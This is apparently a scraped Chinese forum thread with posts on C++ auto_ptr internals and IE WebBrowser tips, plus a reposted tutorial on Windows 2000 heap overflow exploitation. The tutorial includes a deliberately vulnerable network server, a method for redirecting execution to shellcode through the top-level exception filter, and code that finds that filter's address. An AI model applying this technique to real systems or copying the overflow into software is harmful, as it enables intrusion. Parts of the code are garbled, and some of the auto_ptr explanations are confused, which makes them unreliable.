          m_SMPTR2->print();
          //输出:100.
          m_SMPTR1->print();
          //!! 非法的.      power2.
          auto_ptr<x> m_SMPTR(new x(100));
          
          auto_ptr<x> returnfun(auto_ptr<x> m_SMPTRin){
          return m_SMPTRin;
          }
          
          auto_ptr<x> = returnfun(m_SMPTR);  //#5      //在上面的#5中,我要告诉你对象所有权转移了两次.
          //什么叫对象所有权呢?
       
        2. std::auto_ptr的设计原理
           
          上面的一片正确用法,它们在干些什么?
                一片非法,它们犯了什么罪?
                一片什么所有权转移,它的内部机智是什么?
          哦!一头雾水?下面我们就来剖析其实现机制.
          基础知识:
                  a.智能指针的关键技术:在于构造栈上对象的生命期控制
                    堆上构造的对象的生命期.因为在智能指针的内部,存储
                    着堆对象的指针,而且在构析函数中调用delete行为.
                    大致机构如下:
                    x* m_PTRx = new x(100);//#1
                    template<typename T>
                    auto_ptr{
                    private:
                    T* m_PTR;//维护指向堆对象的指针,在auto_ptr定位后     
                    ....     //它应该指向#1构造的对象,即拥有所有权.
                    ~auto(){ delete m_PTR; }
                    ....
                    }
                 b.所有权转移之说
                   上面曾有一非法的程式片段如下:
                   auto_ptr<x> m_SMPTR1(new x(100));
                   auto_ptr<x> m_SMPTR2 = m_SMPTR1;
                   m_SMPTR2->print();
                   //输出:100.
                   m_SMPTR1->print();
                   //!! 非法的.
                   按常理来说,m_SMPTR->print();怎么是非法的呢?
                   那是因为本来,m_SMPTR1维护指向new x(100)的指针,
                   可是m_SMPTR2 = m_SMPTR1;auto_ptr内部机制使得m_SMPTR1将对象的地址
                   传给m_SMPTR2,而将自己的对象指针置为0.
                   那么自然m_SMPTR->print();失败.
                   这里程序设计者要负明显的职责的.
                   那么auto_ptr为什么采取这样的策略:保证所有权的单一性.
                                                   亦保证了系统安全性.
                   如果多个有全权的auto_ptr维护一个对象,那么在你消除一个
                   auto_ptr时,将导致多个auto_ptr的潜在危险.
          
      

  5.   

    智能指针2
     下面我们以SGI-STL的auto_ptr设计为样本(去掉了无关分析的宏),来剖析其原理.
           #1  template <class _Tp> class auto_ptr {
           #2  private:
           #3  _Tp* _M_ptr;  //定义将维护堆对象的指针       #4  public:
           #5  typedef _Tp element_type;  //相关类型定义
           #6  explicit auto_ptr(_Tp* __p = 0) __STL_NOTHROW : _M_ptr(__p) {}
           #7  auto_ptr(auto_ptr& __a) __STL_NOTHROW : _M_ptr(__a.release()) {}
           #8  template <class _Tp1> auto_ptr(auto_ptr<_Tp1>& __a) __STL_NOTHROW
                                                     : _M_ptr(__a.release()) {}
               //#6、#7、#8是auto_ptr构造函数的三个版本.
               //#6注释:传入对象的指针,构造auto_ptr.explicit关键字:禁止隐式转换.
               //        这就是ok2正确,而no5(隐式转换)错误的原因.
               //#7注释:拷贝构造函数.
               //        传入auto_ptr实例,构造auto_ptr. ok1、ok3使用了这个构造式.
               //        它是一个很关键的构造函数,在具体情况下,我们再分析
               //#8注释:auto_ptr的模板成员,可在继承对象重载的基础上,实现特殊功能.
               //   
               //   举例:
               //   class A{ public: 
               //          virtual void fook(){cout<<"I am programming"<<endl;
               //          /*..........*/                                   }; 
               //   class B : public A {
               //          virtual void fook(){ cout<<"I am working"<<endl;
               //         /*...........*/                                  };  
               //   auto_ptr<A> m_SMPTRa(new A(33));//实质:
               //   auto_ptr<B> m_SMPTRb(m_SMPTRa); //基类的指针可以赋给派生类的指针          
               //              
               //   auto_ptr<B> m_SMPTRb(new B(44));//实质:
               //   auto_ptr<A> m_SMPTRa(m_SMPTRb); //派生类的指针不可赋给基类的指针
               //       
               //   auto_ptr<A> m_SMPTRa(new B(33));  // ok!  
               //   m_SMPTRa->fook()将调用派生类B的fook()
               //   m_SMPTRa->A::fook()将调用基类A的fook()
               //    
               //   auto_ptr<B> m_SMPTRb(new A(33));  // wrong!
               //   
               //   
           #9  auto_ptr& operator=(auto_ptr& __a) __STL_NOTHROW {
           #10 if (&__a != this) { delete _M_ptr;  _M_ptr = __a.release(); }
           #11 return *this;
           #12 }
             
           #13 template <class _Tp1>
           #14 auto_ptr& operator=(auto_ptr<_Tp1>& __a) __STL_NOTHROW {
           #15 if (__a.get() != this->get()) { delete _M_ptr; _M_ptr = __a.release(); }
           #16 return *this;
           #16 }  
              //
              // #9~~#16 两个版本的指派函数.
              //         delete _M_ptr; 在指派前,销毁原维护的对象.
              //         _a.release() ; release操作,详细代码参见#20~~#23.
              //                        用于*this获得被指派对象,
              //                        且将原维护auto_ptr置空.
              //     no3使用了第一种指派.
              //     而权限转移正是_a.release()的结果.
              
           #17 ~auto_ptr() __STL_NOTHROW { delete _M_ptr; }
              //构析函数.消除对象.注意这里对对象的要求!
              
           #17 _Tp& operator*() const __STL_NOTHROW {  return *_M_ptr; }
           #18 _Tp* operator->() const __STL_NOTHROW { return _M_ptr;  }
           #19 _Tp* get() const __STL_NOTHROW { return _M_ptr; }
             //
             //  操作符重载.
             // #17注释:提领操作(dereference),获得对象. 见ok5用法.
             // #18注释:成员运算符重载,返回对象指针.
             // #19注释:普通成员函数.作用同于重载->运算符
             //
           #20 _Tp* release() __STL_NOTHROW {
           #21 _Tp* __tmp = _M_ptr;
           #22 _M_ptr = 0;
           #23 return __tmp;                }
             //上面已经详解      
     
           #24 void reset(_Tp* __p = 0) __STL_NOTHROW {
           #25 delete _M_ptr;
           #26 _M_ptr = __p;                          }
             //
             //传入对象指针,改变auto_ptr维护的对象
             //       且迫使auto_ptr消除原来维护的对象
             //       见ok3用法.         // According to the C++ standard, these conversions are required.  Most
             // present-day compilers, however, do not enforce that requirement---and, 
             // in fact, most present-day compilers do not support the language 
             // features that these conversions rely on.
             
             //下面这片段用于类型转化,目前没有任何编译器支持
             //具体技术细节不诉.                   #ifdef __SGI_STL_USE_AUTO_PTR_CONVERSIONS      #27 private:
          #28 template<class _Tp1> 
          #29 struct auto_ptr_ref { _Tp1* _M_ptr; auto_ptr_ref(_Tp1* __p) : _M_ptr(__p) {}
                                 };      #30 public:
          #31 auto_ptr(auto_ptr_ref<_Tp> __ref) __STL_NOTHROW
                                   : _M_ptr(__ref._M_ptr) {}
          #32 template <class _Tp1> 
          #33 operator auto_ptr_ref<_Tp1>() __STL_NOTHROW 
          #34 { return auto_ptr_ref<_Tp>(this->release()); }
          #35 template <class _Tp1> operator auto_ptr<_Tp1>() __STL_NOTHROW
          #36 { return auto_ptr<_Tp1>(this->release()); }
          #37 #endif /* __SGI_STL_USE_AUTO_PTR_CONVERSIONS */
          #38 };
          
          OK!就是这样了.
          正如上面原理介绍处叙说,
          你需要正视两大特性:
          1.构造栈对象的生命期控制堆上构造的对象的生命期
          2.通过release来保证auto_ptr对对象的独权.
          
         在我们对源码分析的基础上,重点看看:
         no系列错误在何处?
         no1.
             我们看到构析函数template<class _Tp>
                             ~auto_ptr() _STL_NOTHROW
                            { delete _M_ptr; }
             所以它不能维护数组,
             维护数组需要操作:delete[] _M_ptr;
         no2.
            先提部分vector和auto_ptr代码:
            a.提auto_ptr代码
              
            auto_ptr(auto_ptr& __a) __STL_NOTHROW : _M_ptr(__a.release()) {}
            
            b.提vector代码
              
              Part1:
              void push_back(const _Tp& __x) {
              if (_M_finish != _M_end_of_storage) {
              construct(_M_finish, __x);
              ++_M_finish;
              }
              else
             _M_insert_aux(end(), __x);
              }
            
             Part2:
             template <class _T1, class _T2>
             inline void construct(_T1* __p,         //++++++++++++++++++++++++++++++++ 
             //         const _T2& __value) { +
             //++++++++++++++++++++++++++++++++
             //  new (__p) _T1(__value);      +
             //++++++++++++++++++++++++++++++++         }
             
             Part3.
             template <class _Tp, class _Alloc>
             void 
             vector<_Tp, _Alloc>::_M_insert_aux
             (iterator __position,          //++++++++++++++++++++++++++++++++ 
              //        const _Tp& __x)       ++
              //++++++++++++++++++++++++++++++++   
     
             {
             if (_M_finish != _M_end_of_storage) {
             construct(_M_finish, *(_M_finish - 1));
             ++_M_finish;         //++++++++++++++++++++++++++++++++
             //     _Tp __x_copy = __x;       +
             //++++++++++++++++++++++++++++++++         copy_backward(__position, _M_finish - 2, _M_finish - 1);
             *__position = __x_copy;
             }
             else {
             const size_type __old_size = size();
             const size_type __len = __old_size != 0 ? 2 * __old_size : 1;
             iterator __new_start = _M_allocate(__len);
             iterator __new_finish = __new_start;
             __STL_TRY {
             __new_finish = uninitialized_copy
             (_M_start, __position, __new_start);
             construct(__new_finish, __x);
             ++__new_finish;
             __new_finish = uninitialized_copy
            (__position, _M_finish, __new_finish);
            }
            __STL_UNWIND((destroy(__new_start,__new_finish), 
                      _M_deallocate(__new_start,__len)));
           destroy(begin(), end());
           _M_deallocate(_M_start, _M_end_of_storage - _M_start);
           _M_start = __new_start;
           _M_finish = __new_finish;
           _M_end_of_storage = __new_start + __len;
           }
           }
      

  6.   

    智能指针3:
    从提取的vector代码,Part1可看出,push_back的操作行为.
           兵分两路,可是再向下看,你会发现,无一例外,都
           通过const _Tp& 进行拷贝行为,那么从auto_ptr提出的片段就
           派上用场了. 
           可你知道的,auto_ptr总是坚持对对象的独权.那必须修改
           原来维护的对象,而vector行为要求const _Tp&,这样自然会产生
           问题.一般编译器是可以发觉这种错误的.       其实,STL所有的容器类都采用const _Tp&策略.
      
           //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
          + 看了sutter和Josuttis的两篇文章中,都提及:                    +
          + STL容器不支持auto_ptr原因在于copy的对象只是获得所有权的对象, +
          + 这种对象不符合STL的要求.可是本人总感觉即时不是真正的复制对象,+
          + 但我用vector<auto_ptr<x> >的目的就在于维护对象,并不在乎      +
          + 所谓的完全对象.而且我用自己写的Smart Pointer配合STL容器工作, +
          + 很正常.那需要注意的仅仅是const问题.                          +
          +                                                              +
          //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++     no3.
            这个也是auto_ptr隐含的所有权问题引起的.
            const auto_ptr不允许修改.
            随便提及:const对象不代表对象一点不可以改变.
                      在两种const语义下,都有方法修改对象或对象内部指针维护的对象
                     或其它资源.
         no4.
            再看auto_ptr的构析函数.
            delete不可以消除栈上资源.     no5.
            依赖传入对象指针的构造函数被声明为explicit,禁止隐式转换.    
        3.auto_ptr高级使用指南
          
          a.类成员auto_ptr,禁止构造函数以构建"完全对象"
            Programme1:
            struct Structx{
                   int m_Idata;
                   char m_CHRdata;
                   /* and so on */
            };
            出于对象编程的理念,
            我们将Structx打造成包裹类:
            class StructWrapper{
            private:
            Structx* m_STRTxptr;
            public:
            StructWrapper():m_STRTxptr(new Structx){}
            ~StructWrapper(){delete m_SMRTxptr; }
            public:
            void Soperator1(){ /* 针对Structx对象的特性操作 */}
            void Soperator2(){ /* 针对Structx对象的特性操作 */}        
            /*  and so on */
            }; 
            
            Programme2:
            class StructWrapper{
            private:
            auto_ptr<Structx> m_SMPTRx;
            public:
            StructWrapper():m_SMPTRAx(new Structx){}
            public:
            void Soperator1(){ /* 针对Structx对象的特性操作 */}
            void Soperator2(){ /* 针对Structx对象的特性操作 */}        
            /*  and so on */
            }; 
            
            Programme3:
            StructWrapper::StructWrapper(const StructWrapper& other)
            : M_SMPTRx(new Struct(*other.m_SMPTRx)) { }
            StructWrapper& StructWrapper::operator=(const StructWrapper &other){
            *m_SMPTRx = *other.m_SMPTRx;
            };        处于对构建于堆中的对象(new Structx)智能维护的需要.
            我们将programme1改造为programme2:
            不错,对象是可以智能维护了.
            对于包裹类(StructWrapper)你是否会有这样的构造或指派操作:
             StructWrapper m_SMPTRWrapper2(m_SMPTRWrapper1);
           
             StructWrapper mSMPTRWrapper2 = m_SMPTRWrapper1; 
             那么请注意:
             当你坦然的来一个:M_SMPTRWrapper1->Soperator1();的时候,
             系统崩溃了.
             不必惊讶,所有权还是所有权问题.
             问一下自己:当programme2默认拷贝构造函数作用时,又调用了auto_ptr的
             默认构造函数,那么auto_ptr所有的默认行为都遵循独权策略.对,就这样.
             m_SMPTRWrapper1的对象所有权转移给了m_SMPTRWrapper2.
             M_SMPTRWrapper1->Soperator1();那么操作变成了在NULL上的.
             哦!系统不崩溃才怪.
             那么你需要想,programme3那样利用auto_ptr的提领操作符自己的
             构造"完全对象".       b.利用const关键字,防止不经意的权限转移
             
             从上面的叙述,你可看出,所有权转移到处可以酿成大祸.
             而对于一般应用来说,独权又是很好的安全性策略.
             那么我们就用const来修饰auto_ptr,禁止不经意的错误.
            
             当然上面提及:并不代表auto_ptr是不可修改的.
             处于需要,从两种const语义,你都可实现修改.         然,你还希望在函数传入传出auto_ptr那么你可传递auto_ptr的引用,
             那就万无一失了: void fook(const auto_ptr<x>& m_PARAMin);
             在返回后赋予其它时,使用引用是不行的.你得用指针.
             因为引用无论作为lvalue还是rvaluev,都会调用构造或指派函数.
        4.你是否觉得std::auto_ptr还不够完美
          
          在实践中,std::auto_ptr能满足你的需求吗?           
     
          Andrei Alexandrescu在一篇文章中,提及:有关Smart Pointer的技术就像
          巫术.Smart Pointer作为C++垃圾回收机制的核心,它必须足够强大的、具有工业强度和安全性.
          但为了可一劳永逸我们还需要披荆斩棘继续探索.      下面在需求层面上,我们思索一下我们的智能指针还需要些什么?
     
            a. std::auto_ptr 能够处理数组吗?我们可以用智能指针来管理其它的资源吗?
               譬如一个线程句柄、一个文件句柄 and so on !
            b. 对于我们的对象真的永远实行独权政策吗?
            c. Our 智能指针还需要在继承和虚拟层面上发挥威力 !
            d. 往往,需要扩展Our 智能指针的功能成员函数来满足动态的需要 !
            e. 也许,你需要的还很多.---------------------------------------------------------------
                           [下续] 二、C++条件,寻找构造更强大的智能指针(Smart Pointer)的
        策略
        
        1.支持引用记数的多种设计策略
        2.支持处理多种资源
        3.支持Subclassing
        4.支持多线程条件下,线程安全的多种设计策略
        5.其它多种特殊要求下,再构造三、Generic Programming基础技术和Smart Pointer
        1.回首处理资源中的Traits技术
        2.回首多线程支持的设计四、COM实现中,Smart Pointer设计原理五、著名C++库(标准和非标准)中的Smart Pointer现状
      

  7.   

    IE编程技巧转载时间 
    转自:www.csdn.net
     
      
    1.实现Ctrl+C: 
        ExecWB(OLECMDID_COPY,OLECMDEXECOPT_DONTPROMPTUSER,NULL,NULL); 2.实现Ctrl+V:    ExecWB(OLECMDID_PASTE,OLECMDEXECOPT_DONTPROMPTUSER,NULL,NULL); 3.实现查找:MSHTML::IHTMLDocument2Ptr pdoc;
    _variant_t varinput,varoutput;
    IOleCommandTarget *pCmd;
    HRESULT hr;
    pdoc=GetHtmlDocument();
    hr=pdoc.QueryInterface(IID_IOleCommandTarget,&pCmd);
    if(SUCCEEDED(hr))
    {
    varinput=_T("");
    hr=pCmd->Exec(&CGID_MSHTML,IDM_FIND,OLECMDEXECOPT_DODEFAULT,&varinput,&varoutput);
    }4.实现显示源程序:MSHTML::IHTMLDocument2Ptr pdoc;
    _variant_t varinput,varoutput;
    IOleCommandTarget *pCmd;
    HRESULT hr;
    pdoc=GetHtmlDocument();
    hr=pdoc.QueryInterface(IID_IOleCommandTarget,&pCmd);
    if(SUCCEEDED(hr))
    {
    varinput=_T("");
    hr=pCmd->Exec(&CGID_MSHTML,IDM_VIEWSOURCE,OLECMDEXECOPT_DODEFAULT,&varinput,&varoutput);
    }5.实现显示Internet选项:MSHTML::IHTMLDocument2Ptr pdoc;
    _variant_t varinput,varoutput;
    IOleCommandTarget *pCmd;
    HRESULT hr;
    pdoc=GetHtmlDocument();
    hr=pdoc.QueryInterface(IID_IOleCommandTarget,&pCmd);
    if(SUCCEEDED(hr))
    {
    varinput=_T("");
    hr=pCmd->Exec(&CGID_MSHTML,IDM_OPTIONS,OLECMDEXECOPT_DODEFAULT,&varinput,&varoutput);
    }6.下载事件说明:OnDownloadBegin <--开始下载
    OnDownloadComplete <--下载结束
    OnDocumentComplete <--页面下载完毕对于每个HTML页面,顺序都是如此.如果是Frame或IFrame的文件都会当成HTML页面处理.也就是说如果一个页面中有3个IFrame,那么总共会触发4次BeforeNavigate2事件.对于每个连接且需要显示出来的二进制文件(如*.gif,*.bmp,*.jpg...)都会触发一个DownloadBegin和DownloadComplete事件.那我们怎么判断是否全部下载完毕呢?嘿嘿,TWebBrowser控件不是有一个Busy属性的吗?7.点击链接产生的事件:OnBeforeNavigate2 <--开始链接时会触发此事件
    OnNavigateComplete2 <--成功的链接到此网页(以后才会有上面的事件)
    8.包括相关文件:#include <mshtmhst.h>
    #include <mshtmcid.h>//这里面有很多实现IE功能的XXID,请看一看!
    #import <mshtml.tlb>
     
      

  8.   

    这种问题我遇到过,曾经费了不少周折,把此篇敬献给大家:
    Windows下的HEAP溢出及其利用    
    转自:http://www.focusexe.com/ 
     
    一、概述 
    前一段时间ASP的溢出闹的沸沸扬扬,这个漏洞并不是普通的堆栈溢出,而是发生在HEAP中的溢出,这使大家重新认识到了Windows下的HEAP溢出的可利用性。其实WIN下的HEAP溢出比Linux和SOLARIS下面的还要简单得多,大家肯定已经都搞明白了,我来做是一个总结,以免自己将来忘了。由于缺乏这方面的资料及源代码,所有的分析结果都来自于反汇编和调试的分析,所以错误之处在所难免,敬请各位指正。 以下所有程序的测试环境为: 
    中文版Windows 2000 + SP2 
    VC++ 6.0 二、Windows的HEAP管理机制简述 
    同LINUX一样,Windows的HEAP区是程序动态分配一块内存区域。程序员一般调用C函数malloc/free或者C++的new/delete或者WIN32 API函数HeapAlloc/HeapFree来动态分配内存,这些函数最终都将调用ntdll.dll中的RtlAllocateHeap/RtlFreeHeap来进行实际的内存分配工作,所以我们只需要分析RtlAllocateHeap/RtlFreeHeap就行了。 对于一个进程来说可以有多个HEAP区,每一个HEAP的首地址以句柄来表示:hHeap,这也就是RtlAllocateHeap的第一个参数。每个HEAP区的整体结构如下: +-------------------------------------------------------------------+ 
    | HEAP总体管理结构区 | 双指针区 | 用户分配内存区 | 
    +-------------------------------------------------------------------+ 
    ^ ^ 
    |_hHeap |_hHeap+0x178 heap总体管理结构区存放着一些用于HEAP总体管理的结构,这不是我们所关心的。双指针区存放着一些成对出现的指针,用于定位分配内存以及释放内存的位置,这可能是某种树结构,我还没完全搞清楚。用户分配内存区是用户动态分配内存时实际用到区域,也这是HEAP的主体。 当我们调用RtlAllocateHeap(HANDLE hHeap,DWORD dwFlags,SIZE_T dwBytes)来分配内存时将进行以下操作: 
    对参数进行检查,如果dwBytes过大或小于0都按照出错处理,根据dwFlags来设置一些管理结构; 
    检查是否为DEBUG程序,对于DEBUG的程序与实际运行的程序每个内存块之间的结构是不同的,所以我们下面说到的都是以RELEASE版编译的实际运行的程序(不是在MSDEV中调试的程序); 
    根据要分配的内存的大小(dwBytes)决定不同的内存分配算法,我们只分析小于1024 bytes的情况; 
    从双指针区找到用户内存区的末尾位置,如果有足够的空间分配所需的内存,就在末尾+dwBytes+8的位置放置一对指针来指向双指针区的指向用户内存区末尾位置的地方; 
    在后面同时设置双指针区的指向用户内存区末尾位置的指针指向进行完分配之后的用户内存区末尾位置。这么说可能有点绕,不过这跟HEAP溢出没有太大的关系,所以我们就不细究了。 两块连续分配的内存块之间并不是紧挨着的,而是有8字节的管理结构,最末尾的一块内存后面还另外多了8字节的指针指向双指针区,就是上面提到过的。 假设有以下程序: 
    buf1 = HeapAlloc(hHeap, 0, 16); 
    buf2 = HeapAlloc(hHeap, 0, 16); 
    连续分配了两块16字节内存,实际在内存中(用户分配区)的情况是这样的: 第一次分配后: 
    +-----------------------------------------------+ 
    | buf1 | 8 byte |4 byte|4 byte| 
    +-----------------------------------------------+ 
    | 用户内存 | 管理结构 | 两个指针 | 第二次分配后: 
    +---------------------------------------------------------------------------------+ 
    | buf1 | 8 byte | buf2 | 8 byte |4 byte|4 byte| 
    +---------------------------------------------------------------------------------+ 
    | 用户内存 | 管理结构 | 用户内存 | 管理结构 | 两个指针 | 在第二次分配内存的时候会利用第一块内存管理结构后面那两个指针进行一些操作,其中会有一次写内存的操作: 77FCB397 mov [ecx], eax 
    77FCB399 mov [eax+4], ecx 这时的eax和ecx分别指向: 
    +-----------------------------------------------+ 
    | buf1 | 8 byte |4 byte|4 byte| 
    +---------------------------------^------^------+ 
    | 用户内存 | 管理结构 |_eax |_ecx | 写到这里大家一定就明白HEAP溢出如何利用了吧?假设我们分配完buf1之后向其中拷贝内容,拷贝的内容大小超过buf1的大小,即16字节,就会发生溢出,当如果我们覆盖掉了那两个4字节的指针,而下一次分配buf2之前又没有把buf1释放掉的话,那么就会把一个4字节的内容写入一个地址当中,而这个内容和地址都是我们能够控制的,这样我们就可以控制函数的流程转向我们的shellcode了。 三、HEAP溢出的利用 
    上面就是这种溢出可以被利用的基本原理,下面我们就来看看具体是怎么回事。有这么一个程序: /* 
    * Windows Heap overrun test - vul.c 
    * by isno 
    */ 
    #include 
    #include 
    #include 
    int main (int argc, char *argv[]) 

    HANDLE hHeap; 
    char *buf1, *buf2; 
    char mybuf[] = \"AAAAAAAAAAAAAAAABBBBBBBBXXXXYYYY\"; //在进程的默认HEAP当中分配内存 
    hHeap=GetProcessHeap(); //先分配一块16字节内存buf1 
    buf1 = HeapAlloc(hHeap, 0, 16); //把32字节的mybuf拷贝到16字节的buf1里面,发生溢出! 
    strcpy(buf1,mybuf); //再次分配一块16字节的内存buf2,此时buf1还没有被释放 
    //由于buf1溢出了,所以当写内存的时候就会出错 
    buf2 = HeapAlloc(hHeap, 0, 16); //释放这两块内存 
    HeapFree(hHeap, 0, buf1); 
    HeapFree(hHeap, 0, buf2); return 0; 
    } 我们把这个程序用VC按照RELEASE方式编译,并在命令行下运行它(不要在MSDEV中调试运行)。如果你没有装SOFTICE的话就会弹出一个错误对话框显示:\"0x77fcb397\"指令引用的\"0x59595959\"内存。该内存不能为\"written\"。 可以注意到0x59595959就是YYYY,这就证明了程序在向YYYY指向的内存地址进行写操作,写的内容是什么呢?如果你启动了SOFTICE的话,运行这个程序的时候SOFTICE就会自动跳出来,并停在下面的指令处: 77FCB397 mov [ecx], eax 此时eax=0x58585858,ecx=0x59595959,因为0x59595959这个地址没有映射内存页面,所以执行这个指令的时候出错了。 0x58585858和0x59595959正是我们覆盖buf1所用的XXXX和YYYY,实际进行的内存分配操作就是上面我们说过的那样: 第一次分配后: 
    +-----------------------------------------------+ 
    | buf1 | 8 byte |4 byte|4 byte| 
    +-----------------------------------------------+ 
    | 用户内存 | 管理结构 | 两个指针 | 溢出后: 
    +-----------------------------------------------+ 
    | buf1 | 8 byte |4 byte|4 byte| 
    +-----------------------------------------------+ 
    | AAAAAAAAAAAAAAAA | BBBBBBBB | XXXX | YYYY | 这样当第二次分配buf2的时候就会把XXXX写入到YYYY所指向的地址当中去,由于XXXX和YYYY都是我们所能够控制的,所以我们就可以把shellcode地址写入到堆栈中保存的函数返回地址去,这样当函数返回的时候就会跳到我们的shellcode去执行。 当然这是比较理想的情况,实际上利用这个漏洞还有很多问题,下面我们以一个实际的例子来看看具体利用这个漏洞的情况。 四、实战 
    由于Windows下的溢出对于本地利用来说没有多大意义,所以我们一个存在HEAP溢出漏洞的网络程序为例: /* 
    win_heap_vul.c 
    Windows下存在HEAP溢出漏洞的服务端程序 
    */ 
    #define PORT 1500 
    #define BUFFLEN 32 //分配内存的大小 
    #define COPYLEN 64 //实际拷贝的大小 #include 
    #include 
    #include int main() 

    WSADATA wsd; 
    SOCKET sListen, sClient; 
    struct sockaddr_in local, client; 
    int iAddrSize; 
    HANDLE hHeap; char *buf1, *buf2; 
    char buff[4096]; if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) 

    printf(\"Failed to load Winsock!\\n\"); 
    return 1; 

    //建立一个socket监听1500端口 
    sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); 
    local.sin_addr.s_addr = htonl(INADDR_ANY); 
    local.sin_family = AF_INET; 
    local.sin_port = htons(PORT); 
    if (bind(sListen, (struct sockaddr *)&local, sizeof(local)) == SOCKET_ERROR) 

    printf(\"bind() failed: %d\\n\", WSAGetLastError()); 
    return 1; 

    listen(sListen, 8); 
    iAddrSize = sizeof(client); 
    sClient = accept(sListen, (struct sockaddr *)&client, &iAddrSize); 
    if (sClient == INVALID_SOCKET) 

    printf(\"accept() failed: %d\\n\", WSAGetLastError()); 
    return 1; 

    printf(\"connect form: %s:%d\\n\", inet_ntoa(client.sin_addr), ntohs(client.sin_port)); //我们自己建立一个HEAP,以免破坏掉进程默认HEAP以后shellcode无法正常运行 
    hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x10000, 0xfffff); 
    //动态分配一块BUFFLEN大小的(32 bytes)的内存buf1 
    buf1 = HeapAlloc(hHeap, 0, BUFFLEN); 
    recv(sClient, buff, 4096, 0); 
    //注意:这里溢出的不是buff,而是buf1, 
    //buff是在栈中开辟的缓冲区,它的大小是4096,上面recv的也是4096,所以不会溢出 
    printf(\"recv1: %s\\n\", buff); 
    //将从客户端接受到的内容(即buff)拷贝到buf1中 
    //如果接受到的内容大于32字节将发生溢出 
    //这里错误的使用了COPYLEN(64 bytes),因此造成溢出 
    memcpy(buf1, buff, COPYLEN); 
      

  9.   

    //如果覆盖到HEAP中的管理结构,那么当再次动态分配内存时将可能被利用 
    buf2 = HeapAlloc(hHeap, 0, BUFFLEN); 
    recv(sClient, buff, 4096, 0); 
    printf(\"recv2: %s\\n\", buf2); 
    HeapFree(hHeap, 0, buf1); 
    HeapFree(hHeap, 0, buf2); 
    closesocket(sListen); 
    WSACleanup(); 
    return 0; 
    } 整个程序很简单,监听在1500端口,先分配了32字节的buf1,并把客户端发送过来的内容的前64字节拷贝到buf1里,这里是由于错误的使用了宏而发生的溢出(应该用BUFFLEN,但用了COPYLEN),这种情况在实际中也是很容易发生的。这样当再分配buf2的时候就会有写内存的操作,使得我们可以利用这个漏洞。 现在我们就可以写个攻击程序来溢出它,并且控制改写任意4字节的内存。那么到底改写什么地方比较合适呢?我想来想去有4种地方可以改写,用来控制去执行我们的shellcode: 1.堆栈中保存的函数返回地址 
    2.堆栈中保存的的异常处理指针 
    3.线程默认异常处理指针(顶层异常处理指针) 
    4.线程环境块(TEB) 1和2都是保存在堆栈中的地址,因此在不同的系统中可能是不一样的,如果改写这两个地址的话虽然也可能成功,但是无法保证程序的通用性,从实际攻击的成功率的角度考虑,就不能用这两种地址。 3是线程默认异常处理指针(即顶层异常处理指针),它在同一版本的操作系统中是一个固定的值。这里稍微介绍一下Windows结构化异常处理的基本原理。Windows的结构化异常处理(SEH)是一种对程序异常的处理机制,它是按照链式层状结构进行处理的。当线程中发生异常时,操作系统首先找到线程环境块TEB指向的第一个内存单元(即fs:[0])中所包含的地址,这个地址指向的地方存放着上一层异常链指针,而在这个地址+4的地方存放着最低层异常处理指针,操作系统就自动跳到这个指针所指向的函数去执行来进行异常处理。当这个函数无法对异常进行处理的时候,再根据上一层的异常链指针来寻找到上一层的异常处理指针来处理,如果所有的异常处理函数都无法处理这个异常,那么系统就使用默认异常处理指针(即顶层异常处理指针)来处理异常情况,就是这个函数: LONG UnhandledExceptionFilter(STRUCT _EXCEPTION_POINTERS *ExceptionInfo); 这个函数负责显示一个错误对话框,来指出出错的原因,这就是我们一般的程序出错的时候显示错误对话框的原因。 我们可以通过SetUnhandledExceptionFilter这个函数来设置默认异常处理指针,把SetUnhandledExceptionFilter反汇编一下可以发现它非常简单: 
    LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter( 
    LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter 

    .text:77E6BE11 SetUnhandledExceptionFilter proc near 
    .text:77E6BE11 mov ecx, [esp+lpTopLevelExceptionFilter] 
    .text:77E6BE15 mov eax, dword_77EBF44C 
    .text:77E6BE1A mov dword_77EBF44C, ecx 
    .text:77E6BE20 retn 4 
    .text:77E6BE20 SetUnhandledExceptionFilter endp 
    它所做的就只是把参数即用户指定的默认异常处理指针放入0x77ebf44c这个地址所指向的内存单元之中。然后UnhandledExceptionFilter在进行默认异常处理的时候就从0x77ebf44c中取出这个指针,然后跳到那里去执行。因此我们只要改写0x77ebf44c这个地址中的内容就可以改变默认异常处理的函数了,这个0x77ebf44c在同一版本(包括ServicePack版本)的系统当中应该是固定的(但是在一些系统中即使系统和SP的版本都相同,这个地址也不相同,不知道是为什么,可能是某些补丁修改了这个地址),在中文版Windows+SP2中就是0x77ebf44c,在别的版本中可能不一样,我写了个小程序来获取这个地址: #include 
    #include 
    void main() 

    unsigned int sehaddr; 
    int *un; 
    HMODULE hk = LoadLibrary(\"KERNEL32.dll\"); 
    un = (int *)GetProcAddress(hk,\"SetUnhandledExceptionFilter\"); 
    _asm{ 
    mov eax,un 
    add eax,5 
    mov ebx,[eax] 
    mov sehaddr,ebx 

    printf(\"the top seh: 0x%x\\r\\n\",sehaddr); 
    _getch(); 
    return; 
